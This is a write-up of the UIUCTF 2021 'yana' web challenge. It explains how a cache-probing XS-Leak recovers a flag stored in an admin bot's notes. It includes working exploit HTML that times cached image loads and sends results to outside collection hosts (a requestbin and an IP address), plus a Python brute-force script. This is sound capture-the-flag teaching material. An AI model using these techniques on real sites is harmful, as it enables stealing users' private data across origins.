UIU CTF 2021 yana Write Up

Summary

An XS-Leak is a vulnerability that can collect important data such as user information using the browser result for users based input value. If you want to study in deeping an xs-leak, You can study that refer to here :)


What is cache probing

image

It is said that the loading speed of the resource file is different from the first time the browser loads the resource file and from the second time. The reason is that the second time the resource file is fetched, the image cache is fetched from disk, not by requesting it from the web server.

image

The photo on the right is when the image is first loaded, and the photo on the left is when the image is loaded the second time. If you look at the time, you can see that there is a difference by the ratio of 0ms : 48ms. So how can use this to link with XS-Leak?


Exploit (Web) UIU CTF 2021 - yana [342 pts]

The challenge is leak the flag and using the cache probing and xs-leak :)

image

If you went to the challenge, you can see a notepad function as above. I checked, the function as top is to save a content and function as bottom is to search for saved memo.

image

So, I saved a memo as pocas and not_pocas. I did a saerch for pocas on the left and searched for asdf on the right after saved the memo.

OMG, I did a search and came up with surprising result!! It was immediately returned with a different color image!! I can know an important information here.

  • Information
  1. If you search for a cunrently saved memo, a green image appears.
  2. If you search for a unsaved memo, a red image appears.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
const noteForm = document.getElementById("note");
noteForm.onsubmit = (e) => {
e.preventDefault();
window.localStorage.setItem("note", new FormData(noteForm).get("note"));
};

const searchForm = document.getElementById("search");
const output = document.getElementById("output");
searchForm.onsubmit = (e) => {
e.preventDefault();
const query = new FormData(searchForm).get("search") ?? "";
document.location.hash = query;
search();
};

function search() {
const note = window.localStorage.getItem("note") ?? "";
console.log(`note: ${note}`);
const query = document.location.hash.substring(1);
console.log(`query: ${query}`);
if (query) {
if (note.includes(query)) {
console.log('found');
output.innerHTML =
'found! <br/><img src="https://sigpwny.com/uiuctf/y.png"></img>';
} else {
console.log('not found');
output.innerHTML =
'nope.. <br/><img src="https://sigpwny.com/uiuctf/n.png"></img>';
}
}
}
search();

Now that I’ve done a functiona analysis, let’s analyze the client-side code.

  • Analysis ( search() )
  1. Get the currently stored content value using window.localStorage.getItem("note").
  2. Get the query value using document.location.hash.substring(1).
  3. Use note.includes(query) to check whether the value of the query is included in the note. ( Important )
  4. If the query value is included in the note, a green image appears, otherwise a red image appears.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
/*
NOTE: this is the script that the admin bot runs to visit your provided URL
it not required to solve the challenge, but is provided for reference & for you to help test/debug your exploit
*/

const { chromium } = require('playwright-chromium');
const fs = require('fs');
const net = require('net');

const FLAG = fs.readFileSync('/flag.txt', {encoding: 'utf-8'});
// matches regex: uiuctf{[a-z0-9_]}

(async function () {
const browser = await chromium.launch({
executablePath: "/playwright/chromium-878941/chrome-linux/chrome",
logger: {
isEnabled: () => true,
log: (name, severity, message, _args) => console.log(`chrome log: [${name}/${severity}] ${message}`)
}
});

function ask_for_url(socket) {
socket.state = 'URL';
socket.write('Please send me a URL to open.\n');
}

async function load_url(socket, data) {
let url = data.toString().trim();
console.log(`checking url: ${url}`);
if (!url.startsWith('http://') && !url.startsWith('https://')) {
socket.state = 'ERROR';
socket.write('Invalid scheme (http/https only).\n');
socket.destroy();
return;
}
socket.state = 'LOADED';

// "incognito" by default
const context = await browser.newContext();
const page = await context.newPage();
await page.goto("https://chal.yana.wtf");
await page.fill('#note > textarea', FLAG);
await page.click('#note > button');
await page.waitForTimeout(500);
await page.goto('about:blank');
await page.waitForTimeout(500);
socket.write(`Loading page ${url}.\n`);
await page.goto(url);
setTimeout(() => {
try {
page.close();
socket.write('timeout\n');
socket.destroy();
} catch (err) {
console.log(`err: ${err}`);
}
}, 60000);
}

var server = net.createServer();
server.listen(1338);
console.log('listening on port 1338');

server.on('connection', socket => {
socket.on('data', data => {
try {
if (socket.state == 'URL') {
load_url(socket, data);
}
} catch (err) {
console.log(`err: ${err}`);
}
});

try {
ask_for_url(socket);
} catch (err) {
console.log(`err: ${err}`);
}
});
})();

Now let’s analyze bot.js to get flags.

  • Analysis ( bot.js )
  1. Read the /flag.txt file and save it to FLAG variable.
  2. Running a chrome instance using playwright-chromium.
  3. Go to https://chal.yana.wtf, save FLAG in the note, and access the URL that we entered as an administrator. ( Important )

We learned a lot from our analysis !!

In bot.js, flags are stored in notes. Also we know the flag format. ( uiuctf{[a-z0-9_]} ). That is, we can brute force using uiuctf{. This is where ‘Cache Probing’ is used. I know that when I search for a value contained in a note, a green image appears.

image

Then, if we retrieve the value contained in the note, the browser loads a green image. At this time, since it is loaded for the first time, it will be cached on disk. At this time, if we retrieve the green image one more time, the image can be loaded much faster than the first time since the cache is already saved.

1
2
3
4
5
6
7
8
9
10
11
12
13
<script>
const image = "https://sigpwny.com/uiuctf/y.png"
const requestbin = "//79a9bb50560aa2c77156e03b431dc2b3.m.pipedream.net/"
window.open(`https://chal.yana.wtf/#a`);

setTimeout(() => {
const start = new Date();
fetch(image).then(d => {
const end = new Date();
location.replace(requestbin + "?time=" + (end-start));
});
}, 1000)
</script>

First of all, this is the exploit code that sends a query that is not saved in the memo. In the above situation, the browser will load a red image. Then the green image will take a lot of time because it is the first to load.

Let’s check it out.

image

Nice, When sending a query that does not contain it, it took about 43s?43ms.

1
2
3
4
5
6
7
8
9
10
11
12
13
<script>
const image = "https://sigpwny.com/uiuctf/y.png"
const requestbin = "//79a9bb50560aa2c77156e03b431dc2b3.m.pipedream.net/"
window.open(`https://chal.yana.wtf/#uiu`);

setTimeout(() => {
const start = new Date();
fetch(image).then(d => {
const end = new Date();
location.replace(requestbin + "?time=" + (end-start));
});
}, 1000)
</script>

Now, let’s check the loading time when sending the query included in the note.

image

OMG When sending the included query, it took about 3s?3ms?!!

Now let’s use this to brute force. However, when doing brute force, sending many requests at once can cause bot.js to close.

I got one letter and proceeded with a new run.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<script>
const image = "https://sigpwny.com/uiuctf/y.png"
const requestbin = "//141.164.52.207:9999/flag"

const flag = location.search.split('=')[1]
window.open(`https://chal.yana.wtf/#${flag}`);

setTimeout(() => {
const start = new Date();
fetch(image).then(d => {
end = new Date();
if ((end-start) < 8){
location.replace(requestbin + `?flag=${flag}`);
}
//}
});
}, 1000)
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# exploit.py
from pwn import *
from time import sleep
from flask import *
from sys import exit
from threading import *

app = Flask(__name__)

bot_url = "yana-bot.chal.uiuc.tf"
bot_port = 1337

condition = True
#FLAG = b"uiuctf{"
#FLAG = b"uiuctf{y"
#FLAG = b"uiuctf{y0"
# (...)
#FLAG = b"uiuctf{y0u_m4y_w4nt_2_d3let3_y0ur_gh_p4g3s_s1t3_or_r1sk_0thers_d01ng_4_crtsh_lo"
#FLAG = b"uiuctf{y0u_m4y_w4nt_2_d3let3_y0ur_gh_p4g3s_s1t3_or_r1sk_0thers_d01ng_4_crtsh_lo0"
#FLAG = b"uiuctf{y0u_m4y_w4nt_2_d3let3_y0ur_gh_p4g3s_s1t3_or_r1sk_0thers_d01ng_4_crtsh_lo0k"
#FLAG = b"uiuctf{y0u_m4y_w4nt_2_d3let3_y0ur_gh_p4g3s_s1t3_or_r1sk_0thers_d01ng_4_crtsh_lo0ku"
FLAG = b"uiuctf{y0u_m4y_w4nt_2_d3let3_y0ur_gh_p4g3s_s1t3_or_r1sk_0thers_d01ng_4_crtsh_lo0kup"

poc_url = b"http://141.164.52.207/xsleak/exploit.html?a="
char_list = list('abcdefghijklmnopqrstuvwxyz1234567890}{_')

@app.route('/flag')
def index():
global FLAG, condition
FLAG = request.args.get('flag')
condition = False
log.info("Success!")
log.info(f'The flag is : {FLAG}')

return "Success"

def send_bot():
global condition
for char in char_list:
if condition:
bot = remote(bot_url, bot_port, level='error' )
url = poc_url + FLAG + char.encode('utf-8')

#log.info(f'Send url : {url}')
sleep(1)
bot.sendlineafter(b'Please send me a URL to open.\n', url)
else:
exit(0)

def run_flask():
app.run(host="0.0.0.0", port=9999)

if __name__ == '__main__':
t1 = Thread(target=run_flask)
t2 = Thread(target=send_bot)

t1.start()
t2.start()

The exploit code is as above. So I’ll execute an exploit code!

image

image

(skip..)

image

Success! I got the flag :)

1
FLAG : uiuctf{y0u_m4y_w4nt_2_d3let3_y0ur_gh_p4g3s_s1t3_or_r1sk_0thers_d01ng_4_crtsh_lo0kup}